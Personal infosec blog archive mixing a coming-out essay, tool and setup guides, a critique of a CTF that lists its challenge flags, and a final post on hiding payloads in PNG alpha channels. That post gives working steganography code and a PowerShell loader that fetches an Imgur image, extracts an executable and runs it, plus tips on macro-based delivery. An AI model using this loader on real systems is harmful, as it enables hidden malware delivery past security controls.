Monday, 18 September 2017

My name is Cariad Keigher and I am transgender

One of the things that I've struggled with is an overall dislike for myself. I've dealt with it since my teens, resulting in anger, depression, and anxiety. Treating it as a mental illness has only either made me numb to life itself or caused others around me that I hold dear to find me frustrating or exhausting to deal with. This is not healthy; and earlier this year I opted to address it head on.

My name is Cariad Keigher and I am a transgender woman. I've been aware of this since 12-years old and this year I started to transition. My preferred pronouns are "she" or "her"--simple as that. If you're curious about the name, it's Welsh (meaning "sweetheart" or "dear") and I chose it because I wished to keep my first initial but was rather dismayed with the options for Irish names, so a short hop across the pond I went.

"Caoimhe" was a consideration but I already have enough problems with my last name!

Hi! I may not seem super feminine-looking but trust me, I am a girl.

I've always been jealous of other women. The experiences they have, the ability to socialise as one, the acceptance to present as one, and the "normality" to be called one have to me for as long as I can remember been a distant thought. I always thought of it as ludicrous, that this was just me being ill, and that I was a "creep" because I never fully understood what I am.

For many years, it never occurred to me that transgender women can in fact be lesbians and it wasn't until I fully separated the concept of gender and sexuality myself did any of that make sense. I felt caught in a trap until then; thinking that my thoughts and desires had to be something else. Experiences as a teen in terms of the women I'd date and how I felt about myself never added up and as a result took me decades to come to this conclusion.

There are of course lots of consequences for my choosing to transition. Men are very much dominant and hold privilege in the technology sector, something of which I benefited greatly from. I may lose friends, family members may object, and there many in the general public that hold disdain for those that identify opposite that of what they were assigned at birth. Transgender persons have found themselves accosted, discriminated against, assaulted, and even murdered just because there are members of society that are unable to keep their prejudices in check.

It has meant a lot of changes in my personal life that have not been easy to accept. This is not a topic I wish to dive into in this entry though.

Studies point out that at least a third of all transgender persons contemplate suicide compared to 5-15% of the youth population--and this is just for Canada, a country that has transgender rights enshrined in federal law. Suicide is a difficult subject for me to discuss however; I will refrain from discussing it further.

The point here is simply this: I didn't choose to be born this way. Nobody chooses their sexual orientation, gender identity, skin colour, or the place they're born. I don't get why I was born nor why I am the way I am, but what I will say is that I will live life as honestly as I can.

I have my foot on the accelerator pedal and so far I have no desire to take it off.

I highly recommend reading Julia Kaye's Up and Out web comic. (Source)

One anecdotal story I'll share is how during Pride Vancouver this past summer, I saw three teenage girls hanging out together. Two of them appeared to be cisgender whereas the third was seemingly "different". There was no indication whether or not she was transgender and it's irrelevant to the story why she stood out from the others, but the point was that she was accepted by the other two and they were having a good time at Pride.

While I will never get to experience what she has, I will say that I am happy to see that those younger than me have resources available to them that were otherwise unthinkable when I first became aware of myself. There are many out there who have opted to accept others for what they are and I feel that this is the best way as a species to move forward.

There are a few things you can do to help me here:

  1. Please do not refer to my former name as I will not answer to that. My former e-mail address is still valid and will remain so for the foreseeable future. If you have me in your contact list under this name, please change it. You can shorten it to "Cari" if we know each other personally.
  2. The use of pronouns is important.
  3. I am not "transgendered", "tranny", "transsexual", or whatever--these are terrible terms and you should avoid them. If you can, call me a "trans woman" or even better, a "woman".
  4. Don't feel bad if you somehow make a mistake here. I still do.
  5. I don't need any financial support so if you want to do something to benefit me, please donate to your local LGBTQ+ group. I live in a country that offers help to transgender persons in the healthcare system so I will never be asking for help there.

Many people have helped me over the past year and I want to pay it forward as that seems to be the best way considering my privilege. Much of what I am dealing with is being documented just so someone else doesn't have to be as blind as I have been in trying to sort out things.

Sarah is an excellent person and you should follow her Twitter.

Additionally, I am paying it forward by offering ten free copies of Queer Privacy, a book compiled by Sarah Jamie Lewis. I cannot recommend the book enough if you're a queer person and are interested in privacy in the digital age. These books are already prepaid for by me so do not hesitate to use the details below to get yourself a copy. I want everyone to read this book.

At the time of this writing I don't have the details ready but I will make it available via Twitter!

Lastly! If you're still following my old Twitter account, it has been retired. I plan to delete its tweets over the coming weeks and have migrated to a new account under the name @KateLibC. It'll still cover my antics and others' in information security, but I guess you'll be seeing more gender and sexuality-related content as well.

Last lastly! The use of "Kate" in my online handle has nothing to do with my name. It's a play on the name "Kate Libby" from Hackers. You should get the rest if you've dealt with programming or a UNIX-like operating system.

For certain lastly! You can always send me questions you may be embarrassed to ask by visiting my CuriousCat profile. I will pick and choose which questions I answer however.

Monday, 1 May 2017

Working with the McAfee Web Gateway API

If you ever find yourself in a situation where you need to work with this device via its API, be prepared to hate everything about it.

With nothing in the way of things like API keys or anything remotely close to it, you're stuck using a username and password to do any sort of remote commands. To add to this, you'll also need to make sure that you do not use an account that you want to log in with manually because the appliance cannot discern between multiple sessions for whatever reason. Also, if you find that you've accidentally lost your session and then want to do anything further, you'll have to go make a cup of coffee, do a little of yoga, and then hopefully after ten or so minutes it'll allow you to work once again.

That is the magic of the McAfee Web Gateway REST API. And because I do not wish to let anyone else experience the nauseating pain that this appliance gave me, I have been a nice person and wrote an entire Python interface so you can save yourself the frustration provided by its terrible, inaccurate documentation.

Some of the features I wrote into it include the following:

  • Listing appliances
  • Listing lists
  • Viewing list entries
  • Inserting into lists
  • Saving data
  • Avoiding a stroke

I gave it a thought to write some more features into it but opted not to because I was just interested in blocking content.

Also, if you do decide to make it block content, make sure that you do not have any sort of short timeouts on whatever you have because if you have any appliances that are connected via a slow network link (like less than 10 Mbit), you'll have to wait until they're updated because when you talk to the central appliance it pushes out the new XML config you just created to all of them and then gives a response.

Anyway, hopefully this saves you a few grey hairs.

Tuesday, 14 March 2017

Beating BSides Vancouver 2017 CTF using a search engine

A group separate from the BSides Vancouver organizing team put on a CTF the past two days (archive) with a prize of a four-month SANS Netwars Continuous Subscription. However, it appears that the CTF organizers (who are separate from the conference organizers) have been engaging in some shenanigans with regards to the challenges.


This came on my radar when a TinyCTF challenge from 2014 showed up and I ended up looking at the other challenges to see what was done. The ones that were not borrowed from TinyCTF were most documentation or forensics-related which I assume was created by the CTF organizers.

Challenge Name Type Points Flag Details
Choo Choo! Puzzle 50 snc 52 Link
Fore! Web 250 it's_a_h0le_in_0ne Link
Undocumented Instruction in x86 Puzzle 75 LOADALL Link
BFF..or P? Puzzle 100 esolangs_for_fun_and_profit Link
It's OK to be a CISsy! Puzzle 250 3,8,7,4,9,5,6,1,2 N/A
Hail Caesar Crypto 50 ITSHAPPENING N/A
Crypto for you sir! Crypto 100 no_this_is_not_crypto_my_dear Link
First time flag test Crypto 100 hello_world Link
János the Ripper Crypto 250 ev3n::y0u::bru7us?! Link
Movie Time! RE 100 poppopret Link
Ooooh! What does this button do Dexter? RE 250 w4nn4_j4r_my_d3x Link
Gandalf! RE 500 s0me7hing_S0me7hinG_t0lki3n Link
Sound Bites! Misc 250 infosec_flagis_sound Link

The annoying aspect of this is that with 'Crypto for you sir!' it ends up being wrong when you solve it. Here is the ciphertext:

XMVZGC RGC AMG RVMG HGFGMQYCD VT VWM BYNO, 
NSVWDS NSGO RAO XG UWFN AF HACDGMVWF. AIRVFN AII AMG 
JVRRVC-XVMC, FYRBIG TVIZ ESV SAH CGQGM XGGC RVMG NSAC A RYIG 
TMVR NSG SVWFG ESGMG NSGO EGMG XVMC WCNYI NSG HAO FVRG IVMH 
JARG MVWCH NV NAZG NSGR VTT NV EAM. OVWM TIAD YF "CV NSYF YF 
CVN JMOBNV RO HGAM", YC IVEGMJAFG, EYNS WCHGMFJVMGF YCFNGAH 
VT FBAJGF, FWMMVWCHGH XO NSG WFWAI "TIAD" NAD ACH JWMIO 
XMAJGF. GCUVO.

When decoded it comes out as this:

BROKEN MEN ARE MORE DESERVING OF OUR PITY, 
THOUGH THEY MAY BE JUST AS DANGEROUS. ALMOST ALL ARE 
COMMON-BORN, SIMPLE FOLK WHO HAD NEVER BEEN MORE THAN A MILE 
FROM THE HOUSE WHERE THEY WERE BORN UNTIL THE DAY SOME LORD 
CAME ROUND TO TAKE THEM OFF TO WAR. YOUR FLAG IS "NO THIS IS 
NOT CRYPTO MY DEAR", IN LOWERCASE, WITH UNDERSCORES INSTEAD 
OF SPACES, SURROUNDED BY THE USUAL "FLAG" TAG AND CURLY 
BRACES. ENJOY.

You'd assume that based on that you'd want to use flag{no_this_is_not_crypto_my_dear} as your flag, but nope, get rid of the "flag" and curly braces as well. This lack of flag formatting behaviour repeated itself across all of the other answers that were borrowed from TinyCTF.


Now in their defence, they did say in the challenge that you are to submit it without the braces, but why not just write your own caesar cipher? Automated deciphering was used here, so why not just use a generator to create something original?


Of the 2,325 points I list above, 350 were solutions that they likely created themselves--I did not bother attempting the rest of the challenges. In the case of Choo Choo, it was literally watching a YouTube video and looking at the markings on the second train to come up with an answer. Of course, since there was inconsistencies across the flags where you either used underscores or you didn't and since there were at least three markings on the train, you pretty much stood a good chance to get it wrong because they only gave you four chances to get it right.


Actually, take away 50 more points because as I was writing this I decided to just look into Choo Choo further and it turns out to have been used for Ghost in the Shell Code. Really, could have they just looked for some other railfan video? This explains the further flag inconsistencies going on here.




In fairness, there were challenges put in place to allow for all backgrounds in information security to partake, which explains why you'd get questions like PCI-DSS questions about whether VoIP is in play in an assessment (which is asked twice) or how to order CIS controls (CISsy), but then why turn around and ask about undocumented Intel instructions to access extended memory?


Reading documentation for a CTF is not unusual but this just reeks of laziness.

At this point I would like to say that I am done covering the problems here, but then it gets worse: even the list of tools they suggest in the CTF are borrowed from AwesomeCTF without any attribution. Granted, the list is licensed in a manner where zero attribution is required, but it just goes to show the level of originality put into how things were being done by the CTF organizers. At least the rules appear to have been written by them.

But since one of the rules is to not share the flags, doesn't that mean that the CTF organizers themselves are breaking their own rules?

Also, how long did they take to put this together? The hints are baffling me.


Almost a year? Surely they could have at least changed the flags or come up with better content than whatever this was. Did they use these challenges for another event? It is my understanding that the same team ran something similar for BSides Calgary.

In full disclosure here, I was previously a conference organizer for BSides Vancouver and in 2015 I helped coordinate the first proper CTF using challenges we actually wrote ourselves with anticipated solutions for each of them. I know that it is fact that the conference organizers are again not the ones who oversaw the event (I did speak with them about the matter), so blame for the reuse of these challenges should not fall on them.

However, for the CTF organizers, why did you do this? Was this a mistake? How? If you're going to offer up a prize, put some thought and originality into your work.

Friday, 10 February 2017

Running AFL on Bash for Windows

Recently I wrote about using Virtual Machine Manager in Bash on Windows (or Windows Subsystem for Linux aka "WSL"), and since then I have been playing around with getting other utilities I use in a native Linux environment.

One utility is American Fuzzy Lop (AFL), a fuzzing tool for finding vulnerabilities within Linux ELF binaries. It has been since ported to fuzz Windows PE binaries natively, but since we're able to run ELF binaries within WSL, why not fuzz them too?

If you're running Bash on Windows and have tried to compile AFL before, you probably have run into this problem:

shmget() failed

This error results from WSL having limitations on shared memory--specifically the lack of /dev/shm. By default, AFL will outright refuse to compile because these system functions simply do not exist.

One of the most recent builds of Bash on Windows includes support for shared memory functions that AFL requires in order to compile.
Along with support for the following shared-memory syscalls which are widely used by a number of Linux tools including PostgreSQL.

  • shmct
  • shmget
  • shmdt
  • shmat
The catch here is that the mainline Windows 10 version of WSL has yet to be updated to address this problem so you must be in the Windows Insider program in order to reap the benefits of these functions. Once you've enrolled and have updated, you can confirm the version of WSL by checking the version of Linux using uname.

If you're up to date you should see this version:
Linux mycomputer 4.4.0-43-Microsoft #1-Microsoft Wed Dec 31 14:42:53 PST 2014 x86_64 x86_64 x86_64 GNU/Linux
If you're not up to date then it'll show the following:
Linux mycomputer 3.4.0+ #1 PREEMPT Thu Aug 1 17:06:05 CST 2013 x86_64 x86_64 x86_64 GNU/Linux
Assuming you're successful you should be able to follow the instructions provided by AFL and begin fuzzing.


I'm still testing it out but at least we now know that it should compile and run fine on the surface. You will notice that the way the screen is drawn that it will look a bit wonky while running.

One thing I feel the need to add is if you're using an SSD, AFL is definitely a great way to reduce the lifespan of your drive. Instead, I recommend creating a RAM disk within Windows and then accessing it normally. I have tested ImDrive and it works just fine within WSL.

Friday, 27 January 2017

Anti-virus is worthless

I get a kick out of reading reactions by the anti-virus industry, rose-coloured glasses views from academia, or anecdotes from those who work in the IT industry whenever someone writes a constructive criticism of anti-virus solutions.

Let me put it out there before I go any further, Robert O'Callahan is correct when he says that you should disable your anti-virus solution--unless it came with your operating system such as it does in Windows 10. And for disclosure here: I did briefly work for an anti-virus vendor.

Whenever an argument is made for the value that anti-virus doesn't provide, you are bound to get the following reactions from anyone I mentioned before:

  • [Insert testing programme here] has given [AV product] the best detection rate in the industry for [year]!
  • I use [AV product] and I have never gotten malware.
  • [Software vendors] should open up their APIs to make anti-virus much easier to work with.
  • The anti-virus industry creates the malware.
  • If you went without anti-virus for [period of time] you'll eventually catch malware!
I could go on and on about these reactions but I think this well summarizes the absentmindedness that certain pro-anti-virus persons give:



It's obvious which light bulb a sane person would choose.

Tavis Ormandy has demonstrated extremely well through Google's Project Zero initiative (and before that with Sophail) that anti-virus applications have ticking time bombs sitting within their suites. From remote file retrieval, installing shady remote access tools, improper sandboxing, Node.JS debuggers, to permitting possible collisions in SSL certificates are just a sampling of the nearly five dozen vulnerabilities discovered by one single human being. 

That is just what is being published in the open. If you are aware of an anti-virus vulnerability, Zerodium will pay for remote code execution attacks. There have been suggestions that they go for at least $20,000 to $50,000 USD.

So let's pretend now that the problems with anti-virus being typically poorly coded just simply don't exist: are they still worth using?



No.

The commonly forgotten trait about anti-virus is that it either has to predict the malware's existence through heuristics or it has to have knowledge of its past artifacts via signatures. Both of these require teams of people to write the protections to handle either approach while at the same time being mindful of the fact that for every detection they make, they could be missing a thousand others. The dirty secret that the AV industry really hates to talk about is how their approach simply cannot scale.

Part of the approach that a majority anti-virus industry has opted to go about deflecting this is to add more value to their product by redefining themselves as "endpoint solutions". In the past decade, we've seen features like application whitelisting, web content filtering, and physical device control in order to make it seem like their product is more useful than if it was just simply doing AV.

Another angle to take is come out with outlandish claims that your product can detect everything using some new obscure method that nobody else in the industry has come up with. 

This is sort of the approach that Cylance has taken where they claim that their magic algorithm can stop malware even if they haven't seen it before. Unfortunately, there are lots of anecdotes that their product has an extremely high false positive rate which sort of makes sense if they can predict future malware: detect everything and anything without pause. 

However, testing their product and being open about what your experience with them is difficult because they require an NDA to get a proof of concept demonstration going in an enterprise environment. In one instance, a friend of mine was demonstrating it, posted about it on an open forum, and apparently Cylance responded negatively, citing the agreement. 

This job posting by them reveals a lot however:



I guess all of these contractual restrictions make sense seeing that the engine is likely coded in C#, as suggested in this job posting. The whole anti-virus industry relies on obfuscation of their practices and it's either going to be done by being closed source which is really everyone or by making it so nobody can actually poke around by stipulating such in a contract.

No vendor has a better approach than the other; they're all the same. You either have it never firing on actual malware or have it fire on everything as if it were Chicken Little.

So let's make some useful suggestions here on how to actually protect your computer:
  1. Use the anti-virus your operating system provides. If it doesn't have one, don't install one. Likely if it doesn't have one already, it's either a Mac, you run Linux, or your Compaq from 2005 needs to be replaced with something running Windows 10.
  2. Keep the operating system up to date. If Windows 10 rebooting on you is so inconvenient, you're a lost cause--the most recent update lets you defer up to a month by the way.
  3. Install ad blockers and use something other than Internet Explorer or Edge such as Chrome which sandboxes things fairly well.
  4. Don't follow random guides on the Internet to allow you to make changes to your system that somehow make things go "faster". More often than not they're done by people who don't know what they're doing.
  5. Don't use pirated software or pirate any content. Netflix is cheap, Spotify is free if you tolerate ads, and honestly there are tonnes of open source solutions for whatever you need to do.
Don't waste your money or bandwidth on an anti-virus solution that will just create more holes.

Anti-virus is worthless.

Tuesday, 20 December 2016

Windows 10, Virtual Machine Manager, and KVM

I really, really like the fact that Microsoft has embraced Linux in the form of releasing Ubuntu on Windows. To me, it's probably the first Linux on the desktop solution that was as good as using Linux itself without having to worry about using virtualization for my Windows applications and games. However, it's not exactly a true Linux kernel running behind the scenes and there are other things that will not simply work.

For one, out of the box you cannot use any X11 applications without an X server installed and some extra configuration. However, it is relatively painless to get this up and running and just as easy to get Virtual Machine Manager working as well. If you already have access to the KVM tools on the VM host, you will be able to use it remotely using an SSH connection from the Windows computer.

This is what we're going to need to install:

  • OpenSSH Client
  • Virtual Machine Manager
  • Python Spice GTK module

Assuming that you have already gone ahead and updated and configured Windows 10 to use the feature, you'll want to use Xming to act as your X server. There are other X servers you can consider, including MobaXterm and XvxSrv, but I prefer Xming due to its simplicity and the fact that it sits in the tray once you launch it.

Running XLaunch after installing Xming brings up this screen. Personally, I prefer having it set to multiple windows but of course you'll want to set this to your liking. You can leave the rest as defaults and it should be fine.

With the X Server out of the way, we'll want to configure Bash on Windows to automatically connect to the X server. This can be done by editing the .bashrc file in your home directory with the following at the end:

export DISPLAY=:0

Close and reopen Bash on Windows and it is ready to go. You can test out whether or not it works by installing something like GEdit or Xterm to see if it launches.

We do however have to enable D-Bus for use as Virtual Machine Manager depends on it. We can do this real quickly by performing the following command:

sudo sed -i 's$<listen>.*</listen>$<listen>tcp:host=localhost,port=0</listen>$'\ 
/etc/dbus-1/session.conf

Once this is done we can now proceed to install VMM.

sudo apt-get install python-spice-client-gtk virt-manager openssh-client
This shouldn't take too long and once it's done all we have to do is type the following command:

virt-manager

And here we are!


It should be noted that you cannot create virtual machines on your Windows 10 computer using this method--you're better off using HyperV if you want to go down this road. However, it is at this point that we can connect to a KVM host using SSH.

You'll want to configure OpenSSH within Bash on Windows first with key-based authentication to proceed but once that is done it's relatively simple to configure the system. Under the File menu, you'll see Add Connection which will ask you for some details:


You should see your VMs populate now:



And you can even use them as a console:


Enjoy.

Friday, 2 December 2016

Going viral on Imgur with Powershell and PNG

A few months ago, Kaspersky put out some research into using PNGs to distribute malicious payloads where malware authors had been embedding PE files into the images themselves. The give-away that something was amiss was the images had a 63x48 pixel resolution but were sized at 1.3 MB.

This isn't very stealth and there are ways to do this better.

Encoding a file within a PNG


First, it helps to understand a PNG file. Unlike JPEG, PNG is lossless even though it is compressed, meaning that when you create an image in the format, it retains the data that it has been generated until the resolution or colour pallette is modified. Unlike a GIF, a PNG file handles transparency through an alpha channel instead of colour substitution.

It's this compression and the alpha channel that will enable us to embed data into a PNG. Each pixel is represented by three 8-bit values for colour and another 8-bit values for transparency level (referred to as an "alpha channel"). This means that each pixel would be presented as R, G, B, and A with values from 0-255 on each.

Here's a sample image (sourced via Wikipedia) with what I am talking about:

This image is 800x600 pixels with 8-bit colour and an alpha channel, meaning that we have 480,000 pixels, or 468 KB of data that we can place within. Let's use Pillow and Python to mess with this.

Using the above script is relatively straightforward:

from PIL import Image
from sys import argv
from base64 import b64encode

i = argv[1]
o = argv[2]
with open(argv[3], 'rb') as f:
    text = f.read()

img_in = Image.open(i)
img_pad = img_in.size[0] * img_in.size[1]
text = b64encode(text)
if len(text) < img_pad:
    text = text + '\x00'*(img_pad - len(text))
else:
    print('File is too large to embed into the image.')
    quit()
text = [text[i:i+img_in.size[1]] for i in range(0, len(text), img_in.size[1])]

img_size = img_in.size
img_mode = img_in.mode
img_o = Image.new(img_mode, img_size)

for ih, tblock in zip(xrange(img_in.size[0]), text):
    for iv, an in zip(xrange(img_in.size[1]), [ord(x) for x in tblock]):
        x, y, z, a = img_in.getpixel((ih, iv))
        pixels = (x, y, z, an)
        img_o.putpixel((ih, iv), pixels)

img_o.save(o)

Executing it is as follows:

$ python encode.py image.png image_out.png payload.dat

When it runs, it ensures that the payload is not larger than the image can handle then encodes it using Base64 then pads it with null bytes until it reaches the size of the total number of pixels. Then the process of replacing each alpha channel value with the value of the character in the encoded data is done and then saved to disk.

Let's embed an image into an image shall we!


Inside of this image I've encoded a JPEG within it. The image has obviously changed towards a bit of a softer look with some jankiness in the transparency but you'd normally never think of it being suspicious. With some changes to the encoding process it is possible to make the alpha channel blend in a lot more naturally.

For the curious, this is the image that was embedded within:


This Python script can retrieve the data out of the image:

from PIL import Image
from sys import argv
from base64 import b64decode

i = argv[1]
o = ''
s = argv[2]

img = Image.open(i)

for x in xrange(img.size[0]):
    for y in xrange(img.size[1]):
        p = img.getpixel((x, y))
        p = p[-1]
        o = o + chr(p)

o = o.replace('\000', '')
o = b64decode(o)

with open(s, 'wb') as f:
    f.write(o)

We can confirm that nothing is lost by running these commands:

$ md5 blog_sample.png
MD5 (blog_sample.png) = 694ab6d3260933f75dec92ba01902f9b
$ python encoder.py blog_sample.png blog_sample.out.png antivirus.jpg
$ md5 blog_sample.out.png
MD5 (blog_sample.out.png) = 10a4fd1bf52d0bfa50ced699f8c53c39
$ md5 antivirus.jpg
MD5 (antivirus.jpg) = 84893c561288b6a1a9d76f399a89d51b
$ python decoder.py blog_sample.out.png antivirus.orig.jpg
$ md5 antivirus.orig.jpg
MD5 (antivirus.orig.jpg) = 84893c561288b6a1a9d76f399a89d51b

As you can see the file contents do not change by the embedding of data within the image's alpha channel.

Let's use Imgur and Powershell to abuse this


Since its debut on Reddit, Imgur has become one of the largest image hosting services. This is largely due to its ease of access in uploading images without requiring anyone to create an account.

In tests, Imgur does appear to strip out data that doesn't belong to an image. That is, you cannot use a old technique where you combine a zip file with a JPEG or PNG on their service as it appears to outright strip the data.

Since we know that it'll remove these hybrid files, the question then becomes whether it removes the data we encode as demonstrated earlier. Let's try uploading the sample image from earlier and check.

$ md5 blog_sample.out.png
MD5 (blog_sample.out.png) = 10a4fd1bf52d0bfa50ced699f8c53c39
$ wget https://i.imgur.com/Oj8FhU5.png
--2016-11-24 13:56:50--  https://i.imgur.com/Oj8FhU5.png
Resolving i.imgur.com... 151.101.52.193
Connecting to i.imgur.com|151.101.52.193|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 664208 (649K) [image/png]
Saving to: 'Oj8FhU5.png'

Oj8FhU5.png               100%[====================================>] 648.64K  2.42MB/s   in 0.3s

2016-11-24 13:56:51 (2.42 MB/s) - 'Oj8FhU5.png' saved [664208/664208]

$ md5 Oj8FhU5.png
MD5 (Oj8FhU5.png) = 10a4fd1bf52d0bfa50ced699f8c53c39

As we can see here, the file from earlier was uploaded to Imgur has not been altered.

So where do we go from here? How is this useful? Well to start, the thing that Imgur is great for is that you do not need to sign up with an account to upload an image. Why not use it to distribute malware without having to provide too many details?

One thing to be concerned about is that you have to have the ability to retrieve the PNG image and then process it as while there have been code execution issues with PNG libraries in the past, for the most part just loading a payloaded-image is unlikely to result in compromise.

Fortunately, Windows has built-in functions that straight up let you work with an image and extract the pixel data. This can be achieved using Powershell without any additional modules. The code is as follows:
Add-Type -AssemblyName System.Drawing 
Add-Type -AssemblyName System.Text.Encoding

$strURL = "http://i.imgur.com/nckqSN1.png"
$strFilename = "c:\temp\payloadb64.png"
$peOutputFile = "c:\temp\calc.exe"

Invoke-WebRequest -Uri $strURL -OutFile $strFilename

$image = [System.Drawing.Image]::FromFile($strFilename)
$peBase64 = @()
for ($w=0;$w -lt $image.Width;$w++)
{
    $row = @()
    for ($h=0;$h -lt $image.Height;$h++)
    {
        $pixel = ($image.GetPixel($w,$h)).A
        $pixel = [convert]::toint32($pixel, 10)
        $pixel = [char]$pixel
        $row += $pixel
    }
    $peBase64 = $peBase64 + $row 
}

$peImage = @()
foreach ($peValue in $peBase64)
{
    if ($peValue -ne "`0")
    {
        $peImage = $peImage += $peValue
    }
}

$peImage = [System.Convert]::FromBase64String($peImage)
[System.IO.File]::WriteAllBytes($peOutputFile, $peImage)
& $peOutputFile
The script works as follows:
  1. Download a PNG from Imgur and save it to disk
  2. Using System.Drawing, read every pixel and extract the alpha (A) value
  3. Ensure that all null values (0x00) are stripped from the array
  4. Decode Base64 and write file to disk
  5. Run the newly decoded file as an executable
And based on the above code, it of course executes calculator:


Executing the above code does require that your system's policy to allow the execution of Powershell scripts. That said, while on most home computers this is not an issue as it is disabled by default, many enterprise environments require this to be on. A way around any restrictions could be to execute the code with the help of VBScript and perhaps storing all of this within a Word macro.

Mitigation


One thing to keep in mind is that while the attack was done using Powershell, it doesn't mean that you couldn't achieve this with a Word document with an embedded macro. Avoiding executing any unwanted code is really the best way to go about avoiding this from an enduser perspective.

Imgur's response


Imgur did get back to me stating that while informative there isn't an immediate need to fix the issue due to the impact it presents.

Last Remark


I want to make it clear here that what I am showing with embedding data through a stenographic process is far from new, as it was one of the many challenges at this year's CSAW CTF qualifiers. It is a relatively common practice and there are many guides out there to read and software suites to use.

Also, yesterday, PortSwigger posted an article on doing something similar using JPEG files that was rather interesting.